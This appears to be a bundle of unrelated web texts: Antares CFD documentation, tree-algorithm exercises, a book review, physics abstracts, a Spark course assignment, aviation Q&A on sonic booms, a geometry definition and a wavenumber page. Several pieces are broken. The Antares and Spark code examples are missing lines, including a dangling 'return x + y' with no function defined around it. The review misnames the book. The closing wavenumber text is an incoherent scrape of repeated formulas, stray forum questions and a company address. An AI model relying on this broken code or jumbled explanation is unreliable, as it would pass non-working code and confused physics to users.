# Slice at a radial position¶ ## Input Parameters¶ The following keys can be set: • base – (type = antares.Base ) – A base containing: • vectors – (default = [], type = tuple/list of tuples of variables ) – if the base contains vectors, these must be rotated, so put them here. It is assumed that these are in cartesian coordinates • nb_duplication – (default = in_attr, type = int or default string ‘in_attr’, can use in_attr = yes ) – number of duplications to apply after doing the radial cut if duplicate is True. If set to ‘in_attr’, then it is computed from ‘nb_blade’ in Instant.attrs • duplicate – (default = False, type = boolean ) – duplication of the radial cut. Chorochronic if HB/TSM type • family_name – (type = str ) – The name of the family from which the percent will be computed and on which the cut is computed • percent – (default = None, type = float or None ) – The percentage relative to the family to determine the absolute position of the cut • position – (default = None, type = float or None ) – The absolute position value relative to the family where the cut must be made ## Main functions¶ class antares.treatment.turbomachine.TreatmentSliceR.TreatmentSliceR execute() Execute the treatment. This method performs a cut at a radial position. Either the radius value is given, or it is computed knowing the family name and the percentage. The latter are used to determine the absolute position of the cut. Returns Return type None or antares.Base ## Example¶ import os if not os.path.isdir('OUTPUT'): os.makedirs('OUTPUT') import numpy as np from antares import Reader, Treatment, Writer # # https://cerfacs.fr/antares/tutorial/application/application1/application1_tutorial_data.tgz r['filename'] = os.path.join('..', 'data', 'ROTOR37', 'ELSA_CASE', 'MESH', 'mesh_<zone>.dat') r['zone_prefix'] = 'Block' r['topology_file'] = os.path.join('..', 'data', 'ROTOR37', 'ELSA_CASE', 'script_topo.py') r['shared'] = True print(base.families) r['base'] = base r['filename'] = os.path.join('..', 'data', 'ROTOR37', 'ELSA_CASE', 'FLOW', 'flow_<zone>.dat') r['zone_prefix'] = 'Block' r['location'] = 'cell' base.set_computer_model('internal') # Needed for turbomachinery dedicated treatments base.cell_to_node() base = base.get_location('node') print(base.families) base.compute('psta') base.compute('Pi') base.compute('theta') base.compute('R') P0_INF = 1.9 base.compute('MachIs = (((%f/psta)*((gamma-1)/gamma)-1.) (2./(gamma-1.)) )**0.5' % P0_INF) res_dir = os.path.join('OUTPUT', 'SLICER') if not os.path.isdir(res_dir): os.makedirs(res_dir) t = Treatment('slicer') t['base'] = base writer = Writer('bin_tp') NUM = 9 x = np.linspace(18., 25.5, NUM) for i in range(0, NUM): print('cut at r = {}'.format(x[i])) t['position'] = x[i] base = t.execute() writer['filename'] = os.path.join(res_dir, 'slicer_%i.plt' % x[i]) writer['base'] = base writer.dump()	{}
× Trees Whether you're working with a road map or just some numerical data, organizing data in trees allows for an efficient representation of connections and hierarchies. Trees Given a tree that describes the evolutionary relationship of a set of organisms, return the two organisms that are the most distantly related evolutionarily. I.e. Out of all organism pairs in the tree, the sum of the distances of organisms A and B from their most recent common ancestor is maximum. If the distance between two nodes is defined as the number of nodes on the path between the two nodes, then what is the distance between the organisms that are most distantly related? Given a binary search tree and a list of numbers, write a program to insert the list of numbers into the binary search tree in such a way that the list remains a binary search tree. Which of the following is a postorder traversal of the binary search tree after the numbers: $$8, 10, 12, 14, 17, 19, 21$$ are inserted into the below binary search tree? 1 2 3 4 5 6 7 15 / \ 13 18 / / 9 16 \ 11 Given the following sorted array, which of the following is a postorder traversal of a balanced binary search tree implementation of the array? [2, 5, 6, 9, 10, 11, 18, 23, 27, 31, 33, 39] Given an array of the first $$n$$ Fibonacci numbers, write a program to construct a balanced binary search tree from the array. Which of the following is a preorder traversal of balanced binary tree of the first $$13$$ Fibonacci numbers? Given a (sorted) array of distinct integers, write a program that constructs a balanced binary tree, and counts the number of nodes in that tree. How many nodes does a balanced binary tree formed from the below array have ? [1, 3, 4, 6, 7, 9, 10, 13, 15, 16, 19, 24, 27, 28, 29, 30, 34, 37, 39, 41, 43, 44, 46, 48, 49, 51, 52, 54, 55, 59, 69, 70, 72, 77, 81, 84, 85, 86, 88, 89, 90, 93, 95, 98, 99, 102, 104, 106, 108 , 109 , 111, 120, 134, 150, 151, 153, 164, 176, 179, 180, 185, 187, 188, 190, 195, 200, 205, 210, 220, 240, 260, 290, 310, 322, 333, 344, 355, 366, 388, 399] ×	{}
# The Water is Wide This book was first published in 1972, and is still in print, in paper. The author also wrote "The Great Santini", "The Lords of Discipline", and "The Prince of Tides". His current best-seller is "Beach Music". "The River is Wide" is a fictionalized version of Conroy's own experiences as a teacher of isolated and neglected rural black children in South Carolina. It is an inspirational novel for anyone involved in teaching or considering a career in teaching. It was also made into a movie, "Conrack", which starred Jon Voigt. I haven't seen the film, but I enjoyed the book very much. The rural students that Conroy describes bear some resemblance to the disadvantaged youth of our own time. Teachers who "want to make a difference" ought to consider the opportunities in the communities that most need them. Publication information	{}
## Measurement of the time-integrated CP asymmetry in D (0) -> K (S) (0) K (S) (0) decays A measurement of the time-integrated CP asymmetry in D (0) -> K (S) (0) K (S) (0) decays is reported. The data correspond to an integrated luminosity of about 2 fb(-1) collected in 2015-2016 by the LHCb collaboration in pp collisions at a centre-of-mass energy of 13 TeV. The D (0) candidate is required to originate from a D (*+) -> D (0) pi (+) decay, allowing the determination of the flavour of the D (0) meson using the pion charge. The D (0) -> K (+) K (-) decay, which has a well measured CP asymmetry, is used as a calibration channel. The CP asymmetryfor D (0) -> K (S) (0) K (S) (0) is measured to be where the first uncertainty is statistical and the second is systematic. This result is combined with the previous LHCb measurement at lower centre-of-mass energies to obtain A(CP) (D-0 -> K-S(0) K-S(0)) = (2.3 +/- 2.8 +/- 0.9)%. Published in: Journal Of High Energy Physics, 11, 048 Year: Nov 08 2018 Publisher: New York, SPRINGER ISSN: 1029-8479 Keywords: Laboratories: Rate this document: 1 2 3 (Not yet reviewed)	{}
# Exact large-scale correlations in integrable systems out of equilibrium ### Submission summary As Contributors: Benjamin Doyon Arxiv Link: https://arxiv.org/abs/1711.04568v4 (pdf) Date accepted: 2018-11-14 Date submitted: 2018-11-05 01:00 Submitted by: Doyon, Benjamin Submitted to: SciPost Physics Academic field: Physics Specialties: High-Energy Physics - Theory Mathematical Physics Quantum Physics Statistical and Soft Matter Physics Approach: Theoretical ### Abstract Using the theory of generalized hydrodynamics (GHD), we derive exact Euler-scale dynamical two-point correlation functions of conserved densities and currents in inhomogeneous, non-stationary states of many-body integrable systems with weak space-time variations. This extends previous works to inhomogeneous and non-stationary situations. Using GHD projection operators, we further derive formulae for Euler-scale two-point functions of arbitrary local fields, purely from the data of their homogeneous one-point functions. These are new also in homogeneous generalized Gibbs ensembles. The technique is based on combining a fluctuation-dissipation principle along with the exact solution by characteristics of GHD, and gives a recursive procedure able to generate $n$-point correlation functions. Owing to the universality of GHD, the results are expected to apply to quantum and classical integrable field theory such as the sinh-Gordon model and the Lieb-Liniger model, spin chains such as the XXZ and Hubbard models, and solvable classical gases such as the hard rod gas and soliton gases. In particular, we find Leclair-Mussardo-type infinite form-factor series in integrable quantum field theory, and exact Euler-scale two-point functions of exponential fields in the sinh-Gordon model and of powers of the density field in the Lieb-Liniger model. We also analyze correlations in the partitioning protocol, extract large-time asymptotics, and, in free models, derive all Euler-scale $n$-point functions. ### Ontology / Topics See full Ontology or Topics database. Published as SciPost Phys. 5, 054 (2018) ### Author comments upon resubmission I thank the referees for their careful consideration of the manuscript, and especially for both pointing out that the assumption about monotonicity of the effective velocity in rapidity is too strong; I was clearly too fast in making the assertion. [I think in the free-chain examples that both referees gave, the assumption is satisfied, with an appropriate choice of spectral space: one may divide the momenta into two regions, in such a way that within each region the velocity is monotonic, and one can see each regions as corresponding to a different particle type. However I don't think such a construction can be done generically in interacting systems.] Indeed as pointed out the assumption is not necessary for the solution to the partitioning protocol. In fact, I realised that it was not necessary for any result I have presented - it was just simplifying my life in characterising the solutions to certain equations, but is in fact not strictly needed. Thus I have modified the discussion of this assumption on page 13, making it a remark only, and I have make appropriate modifications throughout in order to account for this: all places where the derivative of the effective velocity appeared through Jacobian I have added absolute values; in sections 5.3 and E.2 I have taken away the requirement of the monotonicity assumption, and I have adjusted the sentence between eq 3.24 and 3.25 on p 19. However, perhaps the most interesting realisation from thinking about this is that in general, the rapidity derivative of the effective velocity may vanish. In this case, some large-time asymptotics, at certain rays for instance in the partitioning protocol (e.g. near the maximal velocity), may be modified. I think this is a potentially very interesting effect, which I keep for future works. I have added a paragraph about this in the conclusion, and also a short comment in the Remark on page 13. I have also corrected all typos found by referee 2. ### List of changes Absolute value for derivative of effective velocity in eqs. 3.36, 4.19, 4.23, 5.12, 5.17, 5.19, 5.21, E.15, E.17, E.20, E.22, E.23, E.24, E.28 and eq above - E.31, E.33 paragraph added in conclusion discussion adjusted in section 5.3 (p35) and E.2 (p47) discussion adjusted and remark added p13 adjusted the sentence between eq 3.24 and 3.25 on p 19 ### Submission & Refereeing History You are currently on this page Resubmission 1711.04568v4 on 5 November 2018 Resubmission 1711.04568v3 on 18 August 2018 Submission 1711.04568v2 on 20 February 2018	{}
# Assignment 2 In general, you can find the provided input data sets in the cluster's HDFS in /courses/732/. If you want to download the (smaller) data sets, they will be posted at https://ggbaker.ca/732-datasets/. So the smallest word count input set was at /courses/732/wordcount-1 and could be downloaded from https://ggbaker.ca/732-datasets/wordcount-1.zip. In general, I probably won't mention these in the assignments, but they'll be there. Wikipedia publishes page view statistics. These are summaries of page views on an hourly basis. The file (for a particular hour) contains lines like this: 20160801-020000 en Aaaah 20 231818 20160801-020000 en AaagHiAag 1 8979 That means that on August 1 from 2:00 to 2:59 (20160801-020000), the English Wikipedia page (en) titled Aaaah was requested 20 times, returning 231818 bytes. [The date/time as the first field is not in the original data files: they have been added here so we don't have to retrieve them from the filename, which is a bit of a pain.] Create a MapReduce class WikipediaPopular that finds the number of times the most-visited page was visited each hour. That is, we want output lines that are like 20141201-000000 67369 (for midnight to 1am on the first of December). • We only want to report English Wikipedia pages (i.e. lines that have "en") in the second field. • The most frequent page is usually the front page (title == "Main_Page") but that's boring, so don't report that as a result. Also, special (title.startsWith("Special:")) are boring and shouldn't be counted. You will find small subsets of the full data set named pagecounts-with-time-0, pagecounts-with-time-1, and pagecounts-with-time-2. ## Starting with Spark: the Spark Shell See RunningSpark for instructions on getting started, and start pyspark, a REPL (Read-Eval-Print Loop) for Spark in Python. You will have a variable sc, a SparkContext already defined as part of the environment. Try out a few calculations on an RDD: >>> sc.version # if it's less than 3.3.0, you missed something '3.3.0' >>> numbers = sc.range(50000000, numSlices=100) >>> numbers >>> numbers.take(10) >>> def mod_subtract(n): return (n % 1000) - 500 >>> numbers = numbers.map(mod_subtract) >>> numbers.take(10) >>> pos_nums = numbers.filter(lambda n: n>0) >>> pos_nums >>> pos_nums.take(10) >>> pos_nums.max() >>> distinct_nums = numbers.distinct() >>> distinct_nums.count() You should be able to see Spark's lazy evaluation of RDDs here. Nothing takes any time until you do something that needs the entire RDD: then it must actually calculate everything. ### Local vs Cluster Make sure you can work with Spark (using pyspark for now, and spark-submit soon) on both your local computer, and on the cluster. Feel free to put an extra 0 on the end of the range size for the cluster. The RunningSpark page has instructions for both, and this would be a good time to make sure you know how to work with both environments. ### Try Some More See the RDD object reference and try a few more methods that look interesting. Perhaps choose the ones needed to answer the questions below. [❓] ## Web Frontends (MapReduce and Spark) We have been interacting with the cluster on the command line only. Various Hadoop services present web interfaces where you can see what's happening. You need some ports forwarded from your computer into the cluster for this to work. If you created a .ssh/config configuration as in the Cluster instructions, then it should be taken care of. The HDFS NameNode can be accessed at http://localhost:9870/. You can a cluster summary, see the DataNodes that are currently available for storage, and browse the HDFS files (Utilities Browse the filesystem). Note: Our cluster is set up without authentication on the web frontends. That means you're always interacting as an anonymous user. You can view some things (job status, public files) but not others (private files, job logs) and can't take any action (like killing tasks). You need to resort to the command-line for authenticated actions. The YARN application master is at http://localhost:8088/. You can see the recently-run applications there, and the nodes in the cluster (Nodes in the left-side menu). If you click through to a currently-running job, you can click the attempt and see what tasks are being run right now (and on which nodes). The pyspark shell is the easiest way to keep a Spark session open long enough to see the web frontend. Start pyspark on the cluster, do a few operations, and have a look around in the Spark web frontend through YARN. You can see the same frontend if you're running Spark locally at http://localhost:4040/. ## Spark: Word Count Yay, more word counting! In your preferred text editor, save this as wordcount.py: from pyspark import SparkConf, SparkContext import sys inputs = sys.argv[1] output = sys.argv[2] conf = SparkConf().setAppName('word count') sc = SparkContext(conf=conf) assert sys.version_info >= (3, 5) # make sure we have Python 3.5+ assert sc.version >= '2.3' # make sure we have Spark 2.3+ def words_once(line): for w in line.split(): yield (w, 1) return x + y def get_key(kv): return kv[0] def output_format(kv): k, v = kv return '%s %i' % (k, v) text = sc.textFile(inputs) words = text.flatMap(words_once) outdata = wordcount.sortBy(get_key).map(output_format) outdata.saveAsTextFile(output) See the RunningSpark instructions. Get this to run both in your preferred development environment and on the cluster. (Spark is easy to run locally: download, unpack, and run. It will be easier than iterating on the cluster and you can see stdout.) There are two command line arguments (Python sys.argv): the input and output directories. Those are appended to the command line in the obvious way, so your command will be something like: spark-submit wordcount.py wordcount-1 output-1 ## Spark: Improving Word Count Copy the above to wordcount-improved.py and we'll make it better, as we did in Assignment 1. ### Word Breaking Again, we have a problem with wikipedia_popular.py tokenizing word incorrectly, and uppercase/lowercase being counted separately. We can use a Python regular expression object to split the string into words: import re, string wordsep = re.compile(r'[%s\s]+' % re.escape(string.punctuation)) Apply wordsep.split() to break the lines into words, and convert all keys to lowercase. This regex split method will sometimes return the empty string as a word. Use the Spark RDD filter method to exclude them. Let's repeat the first problem in this assignment using Spark, in a Python Spark program wikipedia_popular.py. With the same input, produce the same values: for each hour, how many times was the most-popular page viewed? Spark is far more flexible than Hadoop so we need to pay more attention to organizing the work to get the result we want. 1. Read the input file(s) in as lines (as in the word count). 2. Break each line up into a tuple of five things (by splitting around spaces). This would be a good time to convert he view count to an integer. (.map()) 3. Remove the records we don't want to consider. (.filter()) 4. Create an RDD of key-value pairs. (.map()) 5. Reduce to find the max value for each key. (.reduceByKey()) 6. Sort so the records are sorted by key. (.sortBy()) 7. Save as text output (see note below). You should get the same values as you did with MapReduce, although possibly arranged in files differently. The MapReduce output isn't the gold-standard of beautiful output, but we can reproduce it with Spark for comparison. Use this to output your results (assuming max_count) is the RDD with your results): def tab_separated(kv): return "%s\t%s" % (kv[0], kv[1]) max_count.map(tab_separated).saveAsTextFile(output) At any point you can check what's going on in an RDD by getting the first few elements and printing them. You probably want this to be the last thing your program does, so you can find the output among the Spark debugging output. print(some_data.take(10)) ### Improve it: find the page It would be nice to find out which page is popular, not just the view count. We can do that by keeping that information in the value when we reduce. Modify your program so that it keeps track of the count and page title in the value: that should be a very small change. [❓] Finally, the output lines should look like this: 20160801-000000 (146, 'Simon_Pegg') ## Questions In a text file answers.txt, answer these questions: 1. In the WikipediaPopular class, it would be much more interesting to find the page that is most popular, not just the view count (as we did with Spark). What would be necessary to modify your class to do this? (You don't have to actually implement it.) 2. An RDD has many methods: it can do many more useful tricks than were at hand with MapReduce. Write a sentence or two to explain the difference between .map and .flatMap. Which is more like the MapReduce concept of mapping? 3. Do the same for .reduce and .reduceByKey. Which is more like the MapReduce concept of reducing? 4. When finding popular Wikipedia pages, the maximum number of page views is certainly unique, but the most popular page might be a tie. What would your improved Python implementation do if there were two pages with the same highest number of page views in an hour? What would be necessary to make your code find all of the pages views the maximum number of times? (Again, you don't have to actually implement this.) ## Submission Submit your files to the CourSys activity Assignment 2. Updated Wed Sept. 14 2022, 16:11 by ggbaker.	{}
# Tag Info 59 The actual 'legal' reasons have already been mentioned. However, there was a bit more to it. Tu-144 was meant to fly over land from the beginning; there was no way around it, unlike Concorde. So it was designed to fly higher. In particular, Tu-144 had about 20% lower wing loading and 20% higher thrust-to-weight ratio (at MTOW) than Concorde. (The reality ... 53 Just for a bit of flavour, I recall an article from Air Progress from the late 70s about Darryl Greenamyer setting the low altitude absolute speed record, in his "homebuilt" F-104, of Mach 1.3 (mentioned in this article) in 1977. For the run he had to cross very low over timing trigger devices at the start and end of the speed course at the dry lake bed ... 43 Yes, actually you can only hear a supersonic aircraft after it has passed over you and is now flying away from you since it is moving faster than the sound moving towards you. The sound waves will still propagate in all directions and will eventually reach you: The frequency will be shifted according to the Doppler formula: f = \frac{c \pm v_r}{c \pm ... 41 In a lot of areas, sonic booms are illegal over land or near residential areas. Yes it's loud, yes it's potentially damaging, especially at low altitudes. I've been to a lot of airshows, I've never seen a supersonic demo. 36 Note that 747's and other jumbo jets operating out of Bradley could not have produced sonic booms because they do not fly above the speed of sound (they only do 500 to 550 MPH at high altitude cruise) and, in any case, far slower than that (~250 MPH) when near the ground as for landing and takeoff. Therefore, whatever it was you heard, it was assuredly not a ... 34 The Tupolev Tu-144 was just as loud as the Concorde. As it was already pointed out, the Concorde was legally prevented from going supersonic over land by the US, UK, but it was more than capable of going supersonic over land. There were no similar restrictions over the Soviet Union for the Tu-144. Both planes had a sonic boom. The plane's chief designer, ... 24 Sonic booms have a lot of, lot of, lot of throw. There would be no way to confine a sonic boom to just the airfield. People two towns over would have have car alarms set off and houses shaken. It would upset animals, it would upset people! It would trigger PTSD for some and panics for others. It would generate hundreds of phone calls to 911. Keep in ... 19 The Concorde didn’t “refuse” to go supersonic over land; it was legally prohibited from doing so by every country it flew to/over. The Tu-144 produced the same sonic boom, but aside from a few exhibitions, it flew only to/over countries that had no such law. 14 It was either not a sonic boom, or it was not a commercial jet. As Niels has pointed out, civilian aircraft are prohibited from operating faster than 250 knots Indicated Airspeed below 10,000 feet MSL in most cases. You would have to get special permission from FAA leadership (not ATC controllers) to otherwise perform such a stunt. §91.117 Aircraft speed. (... 12 If you lived near an international airport with commercial traffic, then it couldn't possibly have been sonic booms, as others have noted. What you likely have heard is jet noise. Jet noise has been known to be notoriously bad. If you google sound scale, jet noise is pretty much always near the top. That's one of the primary reasons why city airports haven't ... 9 No. Sonic booms are caused by shockwaves which form on the aircraft structure as it moves through the air, not by the engines. Completely unpowered craft can create sonic booms, for instance the Space Shuttle and other spacecraft on re-entry. Even if you accelerate the air along the airframe you aren't going to be able to stop the boom, because it's not ... 7 The short answer is a bad PR fallout following the Oklahoma City sonic boom tests, even though the tests were generally positive. [The National Opinion Research Center] reported that 73% of subjects in the study said that they could live indefinitely with eight sonic booms per day. (...) The FAA's poor handling of claims and its payout of only \$123,000 led ... 6 Another reason is that much of the flight was over the huge land mass of Kazakhstan with very low population density. So few people live in the steppes there that Roscosmos lets the first stage of rockets taking off of Baikonur simply fall to the ground. You wouldn't want to do that over France or England.1 Population density is higher in Russia close to ... 6 John K has already provided an example of what a sonic boom feels like from very close, and Harper - Reinstate Monica describes it in general terms. Let me give you a practical example of what a sonic boom did in a radius of 100 km. On 22 March 2018, Air France flight AF671A from Réunion to Paris Orly was flying over northern Italy when it lost radio ... 5 The sound barrier is a function of airspeed and air density. If you have a strong enough tailwind, your ground speed would be above what most lay people would consider the speed of sound without breaking the actual sound barrier. Aircraft (or any object moving through the air alone) are governed by airspeed. Ground speed is only relevant when traveling on ... 5 I did some reading and this is what I could find out so far: https://www.nasa.gov/aero/nasa-prepares-to-go-public-with-quiet-supersonic-tech This article is similar to the Engagdet one but goes into slightly more detail(though not enough for a proper explanation) about the dive maneuver. However, Lockheed Martin is in the process of designing and building a ... 5 When you want to know why the FAA or any other US government agency created a rule, the answer will be found in the Notice of Proposed Rule Making (NPRM) that is required to published prior to implementation of a new rule (with limited exceptions for emergency rules). All NPRM are published in the Federal Register, after which there is a period for public ... 5 What would real sonic booms have been like? The other answers do a good job of explaining how commercial airliners have gotten quieter over the years and how you were probably hearing jet noise, not sonic booms. But how do you know it wasn't a sonic boom? What would it have been like to live under regular sonic booms? Well the only way to know that for sure ... 5 You may have been hearing the Concorde reaching supersonic speed after its takeoff from the JFK and Dulles airports. I heard them frequently while on Cape Cod during the summer months. Interesting studies were done about this phenomenon and its effect on the population. 4 In addition it's also worth noting that the TU-144 only made 102 commercial flights. It wouldn't really have got to the point where anyone would complain. 4 I was doing some research when I came across this question and thought that maybe someone still cares about an answer. In fact both answers given so far are almost right but lack some background. To elicit low sonic booms, commonly also described as sonic thumps, the F-18 first ascents to a height of a couple of thousand feet (40-50k). Once the height is ... 1 The speed of sound is measured in relation to the medium an object (or sounds waves) are moving. The actual speed is dependant on the tempreture and some other factors of the medium. Let's take for example the the information here : From the EngineeringToolbox We can see that in dry air, 20 celsius, the speed of sound is about 340 m/s. In adtition, if we ... 1 Direct answer – Some weather patterns can cause some booms to be heard tens of miles away and urban and suburban growth was quickly extending into formerly rural areas, so the theoretical corridors weren't going to be practical. Background – I lived in both rural and urban areas during the years while supersonic flight was allowed. While the noise did not ... 1 By flying straight up before exceeding Mach 1, to spread the boom more widely. The commentary says: at 2:10, "pull up" and the smoke trail suddenly points upwards; "[2:16] subsonic below thirty thousand feet," "point zero nine Mach [for?]ty thousand [feet?], thump, copy one point zero nine Mach, more thumps, [2:39] one point zero eight Mach." In the dive ... Only top voted, non community-wiki answers of a minimum length are eligible	{}
# Definition:Right Circular Cone/Similar Cones (Redirected from Definition:Similar Cones) ## Definition Let $h_1$ and $h_2$ be the lengths of the axes of two right circular cones. Let $d_1$ and $d_2$ be the lengths of the diameters of the bases of the two right circular cones. Then the two right circular cones are similar {if and only if: $\dfrac {h_1} {h_2} = \dfrac {d_1} {d_2}$ In the words of Euclid: Similar cones and cylinders are those in which the axes and the diameters of the bases are proportional.	{}
# how to calculate wavenumber To find the wavelength of a wave, you just have to divide the wave's speed by its frequency. It is proportional to the wavenumber and the frequency (and therefore energy), but it makes those of us that are trained in rational units pull our hair out. The formula to convert wavenumber to wavelength is: Below is a calculator to calculate wave number from wavelength. Wavelength to Joules formula is defined as (6.626xc)/w. Use the following relationship to calculate the spatial wavenumber (represented here by ν, although other symbols are sometimes used): Where the first definition simply represents the reciprocal of the wavelength, and the second expresses this as the frequency divided by the speed of the wave. Hence, option A … Active 4 years, 11 months ago. I have delta = 500nm = 510^-5 cm , I then need to calculate the frequency f and wavenumber v. The frequency I use c/delta, where c is the speed of light (310^10cm/s). It is often used to study the exponentially decaying evanescent fields. How to convert cm-1 to microns or nanometers. 10. cm s-1 According to Balmer formula. This describes how it varies through space, and this depends crucially on the wavelength of the wave or its speed and frequency. What is the theoretical method to calculate wavenumber for a specific bond in a specific vibrational mode? Calculate the Wavenumber Calculate the wavenumber using the appropriate equation. Now Im also given that wavelength v = 1000 cm^-1 and I have to calculate delta and frequency f and E[kJ/mol]. Laser wavelength (nm) = Wave number (cm-1) Wavelength (nm) Low end Low end High end High end Resolution Resolution Download the calculator as an html file here. Calculate wavelength with the wavelength equation. The energy of a photon is. For a light wave with a wavelength of 700 nanometers or 700 × 10 −9 m, representing red light, the calculation of angular wavenumber is: k = 2π / L = 2π / (700 × 10 −9 m) = 8.975979 × 10 6 m −1 ≅ 8.98 × 10 6 m −1 The wave number of the highest energy transition in the Balmer series of hydrogen atom is 27419.5cm−1. Essentially, the equations are the same except the angular wavenumber uses 2π as the numerator, because this is the number of radians in a whole circle (equivalent to 360°). The wavenumber is just another measure of the frequency ν. For the Balmer series, ni = 2. Say CO 2.It has wavenumber value around 2300 cm-1 in ATR-FTIR spectra. 1. It is just the frequency times a constant (the speed of light). In theoretical physics: It is the number of radians present in the unit distance. Required fields are marked . Both quantities depend only on the wavelength, denoted by the symbol λ, and you can even read this directly from a visual representation of the wave as the distance between successive “peaks” or “troughs” of the wave. For a light wave with a wavelength of 700 nanometers or 700 × 10−9 m, representing red light, the calculation of angular wavenumber is: For a sound wave, with a frequency of 200 Hz and a speed of 343 meters per second (m s−1), the calculation of spatial wavenumber gives: RM1005, Fudi Plaza, Yanjiao, Beijing East, China, 101601, Copyright © Beijing Honour Optics Co., Ltd. All Rights Reserved. We can convert this to Hz by multiplying by the speed of light which is 2.99792458 x 10. https://www.khanacademy.org/.../v/signal-characteristics-wave-number # before we can calculate the wavenumbers we need to know the total length of the spatial # domain data in x and y. Hence, the wavelength is: Typically, wave number is taken to be 2π times the number of wavelengths per unit of distance, which is … Calculate wavelength with the wavelength equation. This Raman shift calculator allows you to convert a known absolute wavelength to a Raman shift in wavenumbers, or to convert a known Raman shift in wavenumbers to an absolute wavelength, provide the laser’s excitation wavelength and either of the other two values, then click “Compute”. The energy of a photon is E = hnu = (hc)/lambda where: h = 6.626 xx 10^(-34) "J"cdot"s" is Planck's constant. Measure using rad/m. The formula for calculating wavelength is: W a v e l e n g t h = W a v e s p e e d F r e q u e n c y {\displaystyle Wavelength={\frac {Wavespeed}{Frequency}}} . The good news is that there is a simple formula for the wavenumber, and you need only very basic information about the wave to calculate it. To calculate the spatial wavenumber (ν), noting that L (lambda) means wavelength, f means frequency and v means the speed of the wave. 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How to calculate wavenumber domain coordinates from a 2d FFT. Your email address will not be published. 1-Calculate the wavenumber in cm^-1, when the wavelength is 12.5 nm. The following formula is used to calculate a wave number. Wavenumber equation is mathematically expressed as the number of the complete cycle of a wave over its wavelength, given by –. calculate the frequency and wavenumber of the J = 2 ← 1transition in the pure rotational spectrum of 12 C 16 O. the equilibrium bond length is 112.81pm. (with units of cm −1) is widely used in the field of spectroscopy and therefore called the spectroscopic wavenumber.The former quantity can be called angular wavenumber (in analogy with angular frequency) to avoid confusion, but that term is not very common.. For light in a medium, the wavenumber is the vacuum wavenumber times the refractive index. Spectroscopists of the chemistry variety have found that inverse cm is a wonderful way to measure light. #c = 2.998 xx 10^(8) "m/s"# is the speed of light. In physics, the wavenumber is also known as propagation number or angular wavenumber is defined as the number of wavelengths per unit distance the spacial wave frequency and is known as spatial frequency. is the wavelength of the wave. Asked to find k. For 35Cl2 I converted units appropriately but my answer is 3.28...x10^-38 but it should be 328. Wavenumber/Wavelength Converter. Asked to find k. For 35Cl2 I converted units appropriately but my answer is 3.28...x10^-38 but it should be 328. 3-Calculate the transmittance, when the concentration of Fe-complex is 6.44E-7 M with a molar absorptivity of 54E3 M^-1⋅cm^-1 and pathlength of 20 mm. In a sense, the wave number is like a spatial analogue of frequency. lambda is the wavelength in "m". What is the theoretical method to calculate wavenumber for a specific bond in a specific vibrational mode? Wavenumber Formula. For 1 mole of these molecules, calculate the number of CO molecules in the v = 0 and v = 1 levels at the given temperatures. u = 1/λ Where u is the wavenumber; λ is the wavelength (m) In multidimensional systems, the wavenumber is the magnitude of the wave vector. A wavenumber is the reciprocal of the wavelength of the wave. It is a scalar quantity represented by k and the mathematical representation is given as follows: ν and is defined by 1 c. ν ν λ = = Example: The wavelength of the red line in the Hydrogen spectrum is approximately 656.5 nm. x_length = x_max - x_min Waves can describe sound, light or even the wavefunction of particles, but every wave has a wavenumber. Since frequency is a measure of the energy of the absorption, the wavenumber is also a measure of the energy. Become your own SpectraWizard and easily convert Raman wavenumber shift (cm-1) to wavelength (nm) using the simple calculator below! For the wavenumber I use 1/delta = 1/(510^-5) = 20000 cm^-1 How do I calculate E in kJ/mol? fundamental wavenumber is 564.9cm^-1. Using the velocity and the frequency, determine the wavelength of the wave being analyzed. The fundamental vibrational wavenumber for 12C16O is 2143 cm−1. Thus, the units of $\hat\lambda$ are actually: Choose the Right Form of the Equation Say CO 2.It has wavenumber value around 2300 cm-1 in ATR-FTIR spectra. For this example we will say the wave … So the units of ν is 1/time. This raman shift calculator converts between Raman shift in inverse cm and wavelength in nm. Where, Wavenumber equation is mathematically expressed as the number of the complete cycle of a wave over its wavelength, given by –. 1-Calculate the wavenumber in cm^-1, when the wavelength is 12.5 nm. 3-Calculate the transmittance, when the concentration of Fe-complex is 6.44E-7 M with a molar absorptivity of 54E3 M^-1⋅cm^-1 and pathlength of 20 mm. Given below energy of light with wavelength formula to calculate joules, kilojoules, eV, kcal. fundamental wavenumber is 564.9cm^-1. Thus, the expression of wavenumber(ṽ) is given by, Wave number (ṽ) is inversely proportional to wavelength of transition. It varies from one wave to another wave. Wave number, a unit of frequency in atomic, molecular, and nuclear spectroscopy equal to the true frequency divided by the speed of light and thus equal to the number of waves in a unit distance. 2-Calculate the absorbance when the %T is 20.5. Your email address will not be published. In chemistry and spectroscopy: It is the number of waves per unit distance. 2-Calculate the absorbance when the %T is 20.5. ν ˉ= 109678cm−1 ×[221. . Here planck's equation is used in finding the energy by using the wavelength of the light. In general, we assume wave number is a characteristic of a wave and is constant for a wave. Wavenumber, as used in spectroscopy and most chemistry fields, is defined as the number of wavelengths per unit distance, typically centimeters (cm ): The formula for calculating wavelength is: {\displaystyle Wavelength= {\frac {Wavespeed} {Frequency}}}. c = 2.998 xx 10^(8) "m/s" is the speed of light. This can be converted to a wavenumber (˜ν, … Find the Information You Need About the Wave Thus, the expression of wavenumber (ṽ) is given by, Wave number (ṽ) is inversely proportional to wavelength of transition. I read I can do it through 2D-Fourier Transform but I don't find the way. Photon energy is used for representing the unit of energy. Convert wave number to wavelength formula. It can be envisaged as the number of waves that exist over a specified distance (analogous to frequency being the number of cycles or radians per unit time). mass of 35Cl is 34.9688 amu. Calculate the wavenumber using the appropriate equation. Basics. This dependency of frequency on wavenumber is expressed as the dispersion relation. ν ˉ= 27419.5cm−1. how to convert wavelength to wavenumber: calculate wavelength given frequency: calculate the frequency of each wavelength of electromagnetic radiation: calculate the frequency of visible light having a wavelength of 686 nm: how to calculate work function from wavelength: formula of energy of photon: how to calculate energy from frequency Check out our Low Cost Raman Systems. If you don’t have the wavelength, you can use the relationship: Where v stands for the speed of the wave and f stands for its frequency. This assumes that the spatial domain units are metres and # will result in wavenumber domain units of radians / metre. The imaginary/complex part of the above equation represents the attenuation per unit distance. Convert the wavelength of electromagnetic energy to wavenumbers (cm-1), a commonly used unit in infrared and Raman spectroscopy. I have a 2d Array of complex numbers that represent a potential field measured along a plane in real space. ν ˉ= 109678cm−1 ×0.25. #k = (2pi)/lambda#, the number of waves per meter. For a light wave with a wavelength of 700 nanometers or 700 × 10 −9 m, representing red light, the calculation of angular wavenumber is: = 2π / (700 × 10 −9 m) How to convert wave number to wavelength. One of the most subtle aspects of figuring out how to perform this wavenumber calculation correctly was to note, as shown above, that the atomic unit of mass is the electron mass, and not the 